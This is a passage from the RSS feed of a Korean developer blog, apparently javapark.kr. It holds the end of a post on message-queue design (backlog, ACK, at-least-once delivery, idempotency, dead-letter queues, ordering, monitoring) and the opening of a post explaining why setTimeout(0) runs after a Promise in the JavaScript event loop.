&lt;p&gt;큐가 없으면 이 차이는 오류가 됩니다. 큐가 있으면 &lt;strong&gt;backlog&lt;/strong&gt;가 됩니다.&lt;/p&gt;
&lt;p&gt;이 차이는 중요합니다. 오류는 요청을 잃지만, backlog는 나중에 처리할 수 있습니다. 다만 큐가 문제를 없앤 것은 아닙니다. 시간을 벌었을 뿐입니다.&lt;/p&gt;
&lt;p&gt;유입량이 계속 처리량보다 크면 큐는 무한히 쌓입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;10분 뒤 backlog = 80 × 600 = 48,000건&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;그래서 &quot;큐가 있으니 안전하다&quot;가 아니라 **&quot;얼마나 오래 버틸 수 있는가&quot;**를 계산해야 합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Consumer를 늘리면 적체가 줄어든다&lt;/h2&gt;
&lt;p&gt;큐의 장점은 Consumer를 독립적으로 확장할 수 있다는 점입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Consumer 1개 × 20 msg/s = 20 msg/s
Consumer 3개 × 20 msg/s = 60 msg/s
Consumer 5개 × 20 msg/s = 100 msg/s&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;다만 Consumer 수를 무작정 늘릴 수는 없습니다. 뒤에 있는 데이터베이스나 외부 API가 새 병목이 될 수 있습니다.&lt;/p&gt;
&lt;p&gt;특히 Consumer마다 DB 커넥션을 여러 개 잡는다면, Worker 확장이 &lt;a href=&quot;/connection-pool-exhaustion/&quot;&gt;커넥션 풀 고갈&lt;/a&gt;로 이어질 수 있습니다. 큐 앞의 처리량만 볼 게 아니라 &lt;strong&gt;파이프라인 전체의 가장 느린 지점&lt;/strong&gt;을 봐야 합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;ACK 전에는 끝난 게 아니다&lt;/h2&gt;
&lt;p&gt;메시지가 Consumer에 전달됐다고 해서 작업이 끝난 것은 아닙니다. Consumer가 처리 도중 죽을 수 있기 때문입니다.&lt;/p&gt;
&lt;p&gt;그래서 메시지 브로커는 보통 &lt;strong&gt;ACK(acknowledgement)&lt;/strong&gt; 를 사용합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;1. Consumer가 메시지를 받는다
2. 메시지를 처리한다
3. DB 저장·외부 호출까지 성공한다
4. ACK를 보낸다
5. Broker가 메시지를 삭제한다&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;RabbitMQ 공식 문서도 Consumer ACK를 &quot;메시지가 성공적으로 처리됐으니 삭제해도 된다&quot;는 신호로 설명합니다.&lt;/p&gt;
&lt;p&gt;Amazon SQS에서는 메시지를 받으면 일정 시간 다른 Consumer에게 보이지 않게 하는 &lt;strong&gt;Visibility Timeout&lt;/strong&gt;을 씁니다. 그 시간 안에 삭제하지 못하면 메시지가 다시 보이고 다른 Consumer가 재처리할 수 있습니다.&lt;/p&gt;
&lt;p&gt;따라서 ACK는 &lt;strong&gt;받자마자&lt;/strong&gt; 보내는 게 아니라, 작업이 성공적으로 끝난 뒤 보내야 합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;at-least-once라면 중복을 전제로 만든다&lt;/h2&gt;
&lt;p&gt;ACK를 보낸 직후 네트워크가 끊기면 어떻게 될까요?&lt;/p&gt;
&lt;p&gt;Consumer는 작업을 끝냈지만 Broker는 ACK를 못 받았다고 판단할 수 있습니다. 그러면 같은 메시지를 다시 전달합니다.&lt;/p&gt;
&lt;p&gt;이것이 &lt;strong&gt;at-least-once delivery&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;적어도 한 번은 전달하지만, 두 번 전달될 수 있습니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;중복을 막는 책임은 Consumer에도 있습니다. 같은 메시지를 두 번 받아도 결과가 한 번만 반영되도록 &lt;strong&gt;멱등성(idempotency)&lt;/strong&gt; 을 만들어야 합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;UNIQUE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;INDEX&lt;/span&gt; uq_payment_event
&lt;span class=&quot;token keyword&quot;&gt;ON&lt;/span&gt; payment_event&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;event_id&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;eventRepository&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;existsById&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;eventId&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// 이미 처리한 메시지&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;결제·쿠폰·재고처럼 두 번 실행되면 안 되는 작업일수록 메시지 ID, 비즈니스 키, 고유 제약 조건이 중요합니다.&lt;/p&gt;
&lt;p&gt;&quot;Exactly once&quot;라는 제품 기능이 있더라도 &lt;strong&gt;브로커 밖의 DB·메일·외부 API까지 포함한 종단간 exactly once&lt;/strong&gt;는 별개의 문제입니다. 실무에서는 중복이 올 수 있다고 가정하고 멱등하게 만드는 편이 안전합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;계속 실패하는 메시지는 DLQ로 보낸다&lt;/h2&gt;
&lt;p&gt;잘못된 데이터나 코드 버그 때문에 처리할 수 없는 메시지가 있을 수 있습니다. 이런 메시지를 흔히 &lt;strong&gt;poison message&lt;/strong&gt;라고 부릅니다.&lt;/p&gt;
&lt;p&gt;무한 재시도하면 한 메시지가 Consumer 시간을 계속 잡아먹습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;실패 → 즉시 재시도 → 실패 → 즉시 재시도 → ...&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;재시도에는 두 장치가 필요합니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;지수 백오프&lt;/strong&gt; — 1초, 2초, 4초처럼 간격을 늘립니다&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DLQ(Dead-Letter Queue)&lt;/strong&gt; — 정해진 횟수만큼 실패하면 별도 큐로 격리합니다&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;DLQ는 쓰레기통이 아닙니다. 실패 원인을 조사하고, 수정 뒤 재처리하기 위한 &lt;strong&gt;격리 구역&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;반드시 원본 메시지, 실패 횟수, 마지막 오류, 최초 발생 시각을 함께 남겨야 합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;순서는 공짜가 아니다&lt;/h2&gt;
&lt;p&gt;메시지 큐라고 해서 모든 메시지가 입력 순서대로 처리되는 것은 아닙니다.&lt;/p&gt;
&lt;p&gt;Consumer가 여러 개면 먼저 가져간 메시지가 더 늦게 끝날 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;입력: A → B → C
완료: B → C → A&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;순서가 중요하다면 주문 ID 같은 키로 파티션을 나누거나 FIFO 큐를 써야 합니다. 하지만 같은 키의 메시지를 직렬로 처리하면 병렬성이 줄어듭니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;순서 보장과 처리량은 서로 교환하는 값&lt;/strong&gt;입니다. 전체 순서가 정말 필요한지, 같은 주문·같은 사용자 안에서만 필요할지 먼저 정해야 합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;무엇을 모니터링해야 하나&lt;/h2&gt;
&lt;p&gt;큐 길이 하나만 보면 늦습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;지표&lt;/th&gt;
&lt;th&gt;알려주는 것&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Backlog 크기&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;처리하지 못한 메시지가 얼마나 쌓였나&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Oldest message age&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;가장 오래 기다린 메시지가 몇 초 됐나&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;처리량&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;초당 몇 건을 넣고 꺼내나&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;처리 시간&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Consumer 한 건이 얼마나 걸리나&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;재시도 횟수&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;일시 장애인지 poison message인지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;DLQ 유입량&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;처리할 수 없는 메시지가 생기고 있나&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;가장 중요한 지표는 &lt;strong&gt;가장 오래된 메시지의 나이&lt;/strong&gt;입니다. 큐 길이가 같아도 1초 동안 몰린 1만 건과 3시간째 남은 1만 건은 심각도가 다릅니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;메시지 큐를 쓰지 않아도 되는 경우&lt;/h2&gt;
&lt;p&gt;모든 호출을 비동기로 만들 필요는 없습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;사용자가 결과를 즉시 받아야 하는 로그인·잔액 조회&lt;/li&gt;
&lt;li&gt;호출 하나면 끝나는 작은 시스템&lt;/li&gt;
&lt;li&gt;강한 동기 트랜잭션이 필요한 작업&lt;/li&gt;
&lt;li&gt;운영팀이 큐·재시도·DLQ를 관찰할 준비가 없는 경우&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;큐를 넣으면 결합도는 낮아지지만, 흐름 추적·재시도·중복·순서·운영 복잡도가 생깁니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;느린 직접 호출을 숨기기 위해 큐를 넣지 마세요.&lt;/strong&gt; 비동기 처리가 제품 요구사항에 맞고, 지연을 허용할 수 있을 때 사용해야 합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;h3&gt;Kafka도 메시지 큐인가요?&lt;/h3&gt;
&lt;p&gt;넓게 보면 메시징 시스템이지만, 전통적인 작업 큐와는 모델이 다릅니다. Kafka는 메시지를 Consumer가 읽어도 바로 삭제하지 않고 로그에 보관하며, Consumer가 offset으로 읽은 위치를 관리합니다. 이벤트 스트리밍·재처리·여러 Consumer Group에 강합니다.&lt;/p&gt;
&lt;h3&gt;SQS와 RabbitMQ 중 무엇을 써야 하나요?&lt;/h3&gt;
&lt;p&gt;운영 부담을 줄이고 AWS 안에서 단순한 작업 큐가 필요하면 SQS가 편합니다. 세밀한 라우팅, AMQP, 자체 운영 제어가 필요하면 RabbitMQ가 후보입니다. 제품 이름보다 순서·전달 보장·지연·처리량·운영 책임을 먼저 정하세요.&lt;/p&gt;
&lt;h3&gt;메시지 큐를 넣으면 응답이 빨라지나요?&lt;/h3&gt;
&lt;p&gt;사용자에게 &quot;접수 완료&quot;를 빨리 돌려줄 수는 있습니다. 하지만 실제 작업 완료 시간은 줄지 않습니다. 오히려 큐 대기 시간만큼 늘 수 있습니다. 빠른 응답과 빠른 완료는 다른 지표입니다.&lt;/p&gt;
&lt;h3&gt;큐가 꽉 차면 어떻게 되나요?&lt;/h3&gt;
&lt;p&gt;메모리·디스크·보관 기간·서비스 할당량에 도달하면 publish가 실패하거나 오래된 메시지가 사라질 수 있습니다. 최대 backlog와 버틸 수 있는 시간을 미리 계산하고 알람을 설정해야 합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;정리하며&lt;/h2&gt;
&lt;p&gt;메시지 큐의 역할은 한 문장입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;처리량 차이를 실패가 아니라 안전한 대기로 바꾼다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Producer와 Consumer의 속도·생명주기를 분리합니다&lt;/li&gt;
&lt;li&gt;큐는 작업을 빠르게 하지 않고 backlog로 시간을 법니다&lt;/li&gt;
&lt;li&gt;ACK 이전에는 끝난 것이 아닙니다&lt;/li&gt;
&lt;li&gt;at-least-once에서는 중복을 전제로 멱등하게 처리합니다&lt;/li&gt;
&lt;li&gt;반복 실패는 백오프와 DLQ로 격리합니다&lt;/li&gt;
&lt;li&gt;큐 길이보다 oldest message age를 함께 봅니다&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;큐가 쌓이는 것은 장애가 아니라 &lt;strong&gt;신호&lt;/strong&gt;입니다. 문제는 쌓이는 속도보다 비우는 속도가 계속 느린데도 아무도 모르는 상태입니다.&lt;/p&gt;
&lt;h3&gt;참고 자료&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/welcome.html&quot;&gt;Amazon SQS — 기본 구조와 메시지 생명주기&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-visibility-timeout.html&quot;&gt;Amazon SQS — Visibility Timeout&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.rabbitmq.com/docs/next/confirms&quot;&gt;RabbitMQ — Consumer Acknowledgements and Publisher Confirms&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.rabbitmq.com/docs/reliability&quot;&gt;RabbitMQ — Reliability Guide&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[이벤트 루프 — setTimeout(0)이 Promise보다 늦게 나오는 이유]]></title><description><![CDATA[…]]></description><link>https://blog.javapark.kr/event-loop-explained/</link><guid isPermaLink="false">https://blog.javapark.kr/event-loop-explained/</guid><pubDate>Mon, 24 Aug 2026 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/98c7bbff8d3a1e6ed2c45f0695a20d43/64756/thumbnail.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 56.27906976744186%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACIElEQVR42iWR2U7bQBSGfVfiGa+zeLxmvIyz4CQOCXESaNkaioCSQJEqVdy0T1GpVXmCcleet8etdG5mzvnnO/P/mmvroW8VGVUpCYVpmx244QTFPioSNMhR3cfzCi/HeF3jVY2bET4Y4pHCZYo0x9xTmXV8KN4txKBwXBu7dkcwJEME7VGJZvut7OwQXTQY6mTePgH6YY404Nxvb19efr++/rnfbZ+ff/388T3r0li8GeR40sPNuJ1eTOzjmbWqjdk+mvTxqMRVCWSrs2qmT18ev319urtuPn86e9hez+q8TO1+qoN4OQGOsa/UuB+r1A4F9qjeDWEprBEHNfNqtRidvp3vruTHjXx/srj5sGoOpEr2/pPrgaEy2VdeIZ3INznVkwBVCmmUWt2YZtLLukwmvBsxOMrYyRMLDKsUHvfQemps1uj21L07ZzfHzkVjHE0xeKk5xFrOo6MmWB/6u6veeOCUWTgowjgwlwdFVdJ66K9n/uVK356Thw1/POWbpbGe4lIC2aPcZ1xQJognXEYtRkxGsGBYRgbAhwUGPtRIoaroDHO9n6Gii9IIxAEnPiceJR4hzCHUJsSACKijC9b+LY11JVsBmD/McS+F/HUZ6ZFAGgt9kYR+Enqhx31KuQsuEBfS1pmLIHAYAm+Bk8VtFYmZxWYcGJzoGosjSECqTMQBEYx6LmGW+08MRdon2hUCjgIPBRyYtozdyLeh+xeJUFYiTCY7EQAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/98c7bbff8d3a1e6ed2c45f0695a20d43/a1b3b/thumbnail.webp 215w,
/static/98c7bbff8d3a1e6ed2c45f0695a20d43/fc700/thumbnail.webp 430w,
/static/98c7bbff8d3a1e6ed2c45f0695a20d43/521f7/thumbnail.webp 860w,
/static/98c7bbff8d3a1e6ed2c45f0695a20d43/cbd37/thumbnail.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/98c7bbff8d3a1e6ed2c45f0695a20d43/f7886/thumbnail.png 215w,
/static/98c7bbff8d3a1e6ed2c45f0695a20d43/bc750/thumbnail.png 430w,
/static/98c7bbff8d3a1e6ed2c45f0695a20d43/3e3fe/thumbnail.png 860w,
/static/98c7bbff8d3a1e6ed2c45f0695a20d43/64756/thumbnail.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/98c7bbff8d3a1e6ed2c45f0695a20d43/3e3fe/thumbnail.png&apos; alt=&apos;이벤트 루프 커버 — 콜 스택과 마이크로태스크·매크로태스크 두 큐 사이를 항목이 오가는 구조&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;이벤트 루프 커버 — 콜 스택과 마이크로태스크·매크로태스크 두 큐 사이를 항목이 오가는 구조&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;출력 순서를 맞춰 보세요.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;1&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;setTimeout&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;2&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
Promise&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;resolve&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;3&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;4&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/blockquote&gt;
&lt;p&gt;답은 &lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;1 4 3 2&lt;/code&gt;&lt;/strong&gt; 입니다. &lt;code class=&quot;language-text&quot;&gt;2&lt;/code&gt;가 &lt;code class=&quot;language-text&quot;&gt;0ms&lt;/code&gt;인데 맨 뒤로 갑니다.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — 자바스크립트는 &lt;strong&gt;한 번에 하나만&lt;/strong&gt; 합니다. 그리고 기다리는 줄이 &lt;strong&gt;하나가 아닙니다.&lt;/strong&gt; 이 두 문장이 위 순서를 전부 설명합니다.&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;2&lt;/code&gt; 가 큐에 앉아 순서를 기다리는 장면을 눈으로 보고 싶으시면 &lt;strong&gt;47초 영상&lt;/strong&gt;으로도 정리했습니다. 토큰 넷이 코드에서 스택으로, 큐로, 다시 출력으로 이동하는 걸 그대로 따라갑니다.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/shorts/iibOeyGES9Y&quot;&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 102.32558139534885%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAAAAAAAAAAHqZRakAAADaUlEQVR42m2TWW/iSBRGrVZ3IAuQDgYSAtgu21WuvbyCl+CAIYR0ltFoZv7BaN7m/z9Ome7pp5aOrq6tOve7slVGIqfVEqxzUGVWnevGLrN5ntwXvyI/sYrv83hG/WvjMbdf9+z9IE6Vv+yCYxNsK6epnF2psXeVrZum+sG2sjelvS2BJEMtWy87+tLQtyf2ssP72nvewG1hNeUv2Bat+VhYerqkQ2NTWMct0eZzg94P7O2JPq3Brlq0gQ/2/n/ax8rSNG2s3Tw4it4Y9XLexh7YcQs/Duy1CZ5rsCsX34/uH1p2mla22/DS2hR2U4FWRt6AoK8U3zBmCj6SfBQKM5ItibhOeO9EPxWDhPVjNgjpQOIBD3oQnBv+pkbfXtFjjhIULAlZEVrguObZUxpG4301fdvDprpPRS/TI3g/ZANF+ks1pvDK8KsU5hKlKFAARy6NAc+AWoH4kaXL2UNyvV6aZTJcqUEmBykfxFyHX0f0hsKe4aXMFxaK3CDycOzRxOVLTywdWZMkm+bhxSq6zNRlJq8yoZN7Ee8r2le4T/xLw8u4r5yfMtFydpLXJEln+9Q5FPiQ403qlOFdqaa5nGb8biXmHH413Ex40oE/5dhlrQyElpP5R5n/8bj/a/P8tJQpH2XsNiG3Eb7NpaPQ5Lts/5A1id7c46nDKy1bGbsJ6VXUMojpMMJDhU2BTIkmHI4MNxWucPzQ1ZvjsA0/+Q4tSBQtcq6/83TJ7wsxK/hsxRdLNk+JxhJwbICUA257CvjRyf+xPMA5icPZ3yv87zr+p+S/xdZRzY5y/ixmBzl/T9wcmYYTc8BsVwIvBCjxg8QLQr0CQBlJ1Pz3cPYRLd7UbMvHNTXXxFxjswyGW3ZbQtMAWegIH4TIjaAfQZgg/c9x7KNcpso6ssmajTZ03LBJQydbMtmQcR2Md/iulWfEX1APCM+Vvqc8qIk0ACY+w+YG67RRTcyajNa45SEYlchco7Gyr41CdlfinLgdiTRnCn0J0VnY1s8Knwl8JnFHI069CDoCdRg600Cna+RhXwQX+LDFxMT+OfU6TF+P9xfudYWvh36qlfdePGD3k4QXEHz+M3H2/Ba6X5h/bmC/B90LJu8o6lN4ydGFwFdSjWRwLoOuCLox6adsqBv9hqFORvoh7DG/G4Duf599zgoxCCgnAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/8f08f050cc99b422184de6720c2bdbb3/a1b3b/video-thumb.webp 215w,
/static/8f08f050cc99b422184de6720c2bdbb3/fc700/video-thumb.webp 430w,
/static/8f08f050cc99b422184de6720c2bdbb3/521f7/video-thumb.webp 860w,
/static/8f08f050cc99b422184de6720c2bdbb3/d0742/video-thumb.webp 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/8f08f050cc99b422184de6720c2bdbb3/f7886/video-thumb.png 215w,
/static/8f08f050cc99b422184de6720c2bdbb3/bc750/video-thumb.png 430w,
/static/8f08f050cc99b422184de6720c2bdbb3/3e3fe/video-thumb.png 860w,
/static/8f08f050cc99b422184de6720c2bdbb3/e7448/video-thumb.png 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/8f08f050cc99b422184de6720c2bdbb3/3e3fe/video-thumb.png&apos; alt=&apos;이벤트 루프 영상 — 코드 네 줄이 콜 스택과 두 큐를 오가며 출력이 1 4 3 2 순으로 찍히는 화면&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;이벤트 루프 영상 — 코드 네 줄이 콜 스택과 두 큐를 오가며 출력이 1 4 3 2 순으로 찍히는 화면&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;콜 스택 — 한 줄로만 실행된다&lt;/h2&gt;
&lt;p&gt;자바스크립트 엔진에는 실행 중인 함수를 쌓는 &lt;strong&gt;콜 스택&lt;/strong&gt;이 하나 있습니다. 하나뿐입니다.&lt;/p&gt;
